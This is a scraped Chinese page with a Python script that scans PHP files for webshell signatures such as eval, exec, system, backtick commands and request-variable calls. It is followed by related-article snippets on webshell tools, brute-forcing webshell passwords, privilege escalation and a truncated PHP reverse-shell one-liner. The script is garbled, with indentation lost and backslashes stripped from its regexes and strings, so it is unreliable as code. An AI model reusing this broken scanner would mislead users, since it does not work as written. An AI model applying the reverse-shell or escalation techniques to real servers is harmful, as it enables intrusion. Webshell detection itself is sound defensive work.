php防止webshell 处理函数

import os
import sys
import re
import time
def listdir(dirs,liston='0'):
flog = open(os.getcwd()+"/check_php教程_shell.log","a+")
if not os.path.isdir(dirs):
print "directory %s is not exist"% (dirs)
return
lists = os.listdir(dirs)
for list in lists:
filepath = os.path.join(dirs,list)
if os.path.isdir(filepath):
if liston == '1':
listdir(filepath,'1')
elif os.path.isfile(filepath):
filename = os.path.basename(filepath)
if re.search(r".(?:php|inc|html?)$", filename, re.ignorecase):
i = 0
iname = 0
f = open(filepath)
while f:
file_contents = f.readline()
if not file_contents:
break
i += 1
match = re.search(r'''(?p<function>b(?:include|require)(?:_once)?b)s*(?s*["'](?p<filename>[^;]*(?<!.(?:php|inc)))["'])?s*;''', file_contents, re.ignorecase| re.multiline)
if match:
function = match.group("function")
filename = match.group("filename")
if iname == 0:
info = 'n[%s] :n'% (filepath)
else:
info = ''
info += 't|-- [%s] - [%s] line [%d] n'% (function,filename,i)
flog.write(info)
print info
iname += 1
match = re.search(r'b(?p<function>eval|proc_open|popen|shell_exec|exec|passthru|system|assert|fwrite|create_function)bs*(', file_contents, re.ignorecase| re.multiline)
if match:
function = match.group("function")
if iname == 0:
info = 'n[%s] :n'% (filepath)
else:
info = ''
info += 't|-- [%s] line [%d] n'% (function,i)
flog.write(info)
print info
iname += 1
match = re.search(r'(^|(?<=;))s*`(?p<shell>[^`]+)`s*;', file_contents, re.ignorecase)
if match:
shell = match.group("shell")
if iname == 0:
info = 'n[%s] :n'% (filepath)
else:
info = ''
info += 't|-- [``] command is [%s] in line [%d] n'% (shell,i)
flog.write(info)
print info
iname += 1
match = re.search(r'(?p<shell>$_(?:pos|ge|reques)t)s*[[^]]+]s*(', file_contents, re.ignorecase)
if match:
shell = match.group("shell")
if iname == 0:
info = 'n[%s] :n'% (filepath)
else:
info = ''
info += 't|-- [``] command is [%s] in line [%d] n'% (shell,i)
flog.write(info)
print info
iname += 1
f.close()
flog.close()
if '__main__' == __name__:
argvnum = len(sys.argv)
liston = '0'
if argvnum == 1:
action = os.path.basename(sys.argv[0])
print "command is like:n %s d:wwwroot n %s d:wwwroot 1 -- recurse subfolders"% (action,action)
quit()
elif argvnum == 2:
path = os.path.realpath(sys.argv[1])
listdir(path,liston)
else:
liston = sys.argv[2]
path = os.path.realpath(sys.argv[1])
listdir(path,liston)
flog = open(os.getcwd()+"/check_php_shell.log","a+")
isotimeformat='%y-%m-%d %x'
now_time = time.strftime(isotimeformat,time.localtime())
flog.write("n----------------------%s checked ---------------------n"% (now_time))
flog.close()

时间: 2024-11-02 20:59:33

php防止webshell 处理函数的相关文章

在PHP应用程序开发中不正当使用mail()函数引发的血案

一.前言 在我们挖掘PHP应用程序漏洞的过程中,我们向著名的Webmail服务提供商Roundcube提交了一个远程命令执行漏洞(CVE-2016-9920).该漏洞允许攻击者通过利用Roundcube接口发送一个精心构造的电子邮件从而在目标系统上执行任意命令.在我们向厂商提交漏洞,发布了相关的漏洞分析文章后,由于PHP内联函数mail()导致的类似安全问题在其他的PHP应用程序中陆续曝出.在这篇文章中,我们将分析一下这些漏洞的共同点,那些安全补丁仍然存在问题,以及如何安全的使用mail()函数

揭秘渗透测试利器:Webshell批量管理工具QuasiBot

声明:本文介绍的 安全工具仅用于渗透测试及安全教学使用,禁止任何非法用途QuasiBot是 一款php编写的webshell管理工具,可以对webshell进行远程批量管理.这个工具超越于普通的webshell管理 是因为其还拥有安全扫描.漏洞利用测试等功能,可以帮助渗透测试人员进行高效的测试工作.QuasiBot是如何工作的quasiBot 支持对webshell进行远程操作,每一个webshell都会通过md5 hash验证并且每小时替换一次quasiBot (C&C) -[请求/验证]-&g

Python安全运维实战:针对几种特定隐藏方式的Webshell查杀

Webshell一直都是网站管理员痛恨看到的东西,一旦在网站目录里看到了陌生的webshell基本说明网站已经被攻击者拿下了.站在攻击者的角度,要想渗透一台网站服务器,第一个目标也是想方设法的寻找漏洞上传webshell. 对于webshell的防护通常基于两点:一是在攻击者上传和访问时通过特征匹配进行检测拦截或限制文件类型阻止上传;二就是日常基于webshell文件特征的静态查杀(也有基于日志的,在这里不做讨论).第一种方法不是我们今天要讨论的,waf.安全狗等一系列工具可以实现相应的功能.第

烽火18台系列之八——Webshell,隐藏在网站之下的潘多拉魔盒

近年来网站被植入后门等隐蔽性攻击呈逐年增长态势,国家互联网应急响应中心发布的<2015年中国互联网网络安全报告>中指出,"2015年CNCERT/CC共监测到境内75028个网站被植入后门,其中政府网站有3514个."   而Webshell则是最常用的一种网站后门工具,盛邦安全通过大量对被黑网站的应急发现,绝大多数黑客是通过后门进行的修改,并在篡改后删除后门及服务器日志.但与Webshell的危害程度相反的是,许多信息中心并没有非常重视该问题,或者可以说,业界并没有提供很

python脚本实现查找webshell的方法_python

本文讲述了一个python查找 webshell脚本的代码,除了查找webshell功能之外还具有白名单功能,以及发现恶意代码发送邮件报警等功能,感兴趣的朋友可以自己测试一下看看效果. 具体的功能代码如下: #!/usr/bin/env python #-*- coding: utf-8 -*- import os import sys import re import smtplib #设定邮件 fromaddr = "smtp.qq.com" toaddrs = ["vo

精确查找PHP WEBSHELL木马的方法(1)_python

先来看下反引号可以成功执行命名的代码片段.代码如下: 复制代码 代码如下: `ls -al`; `ls -al`; echo "sss"; `ls -al`; $sql = "SELECT `username` FROM `table` WHERE 1"; $sql = 'SELECT `username` FROM `table` WHERE 1' /* 无非是 前面有空白字符,或者在一行代码的结束之后,后面接着写,下面两行为意外情况,也就是SQL命令里的反引号,

利用Python的Twisted框架实现webshell密码扫描器的教程_python

好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我.      iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect  accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数so

WEBSHELL提升权限又一招_漏洞研究

      Serv提权方式人人都会用了,搞得现在的主机都配置得非常安全,看来攻击手法的层出不穷也是造成中国网络安全进步的一大原因之一,还有其他的pcanywhere获取密码,替换服务,等等.但是现在也没这么好搞了,随着安全意识的提高,之前的方式估计不怎么管用,现在我给大家介绍一下一种新的提权方式,看过古典LM做的那动画的朋友都知道吧?利用MYSQLl弱口令拿到系统权限,在WEBSHEL上也可实现,不过有个前提,就是目标主机装有MYSQL,而你又知道MYSQL的用户和密码,才可以进行提权.WEB

php webshell下直接反弹shell的例子

inux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell.     我看了一下常用的php webshell,对于命令执行.反弹shell都没有完善的方式.很多webshell里都没有proc_popen.popen这两种方式,特别是proc_popen,比如phpspy.     在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入: 1 php -r '$sock=fsockopen(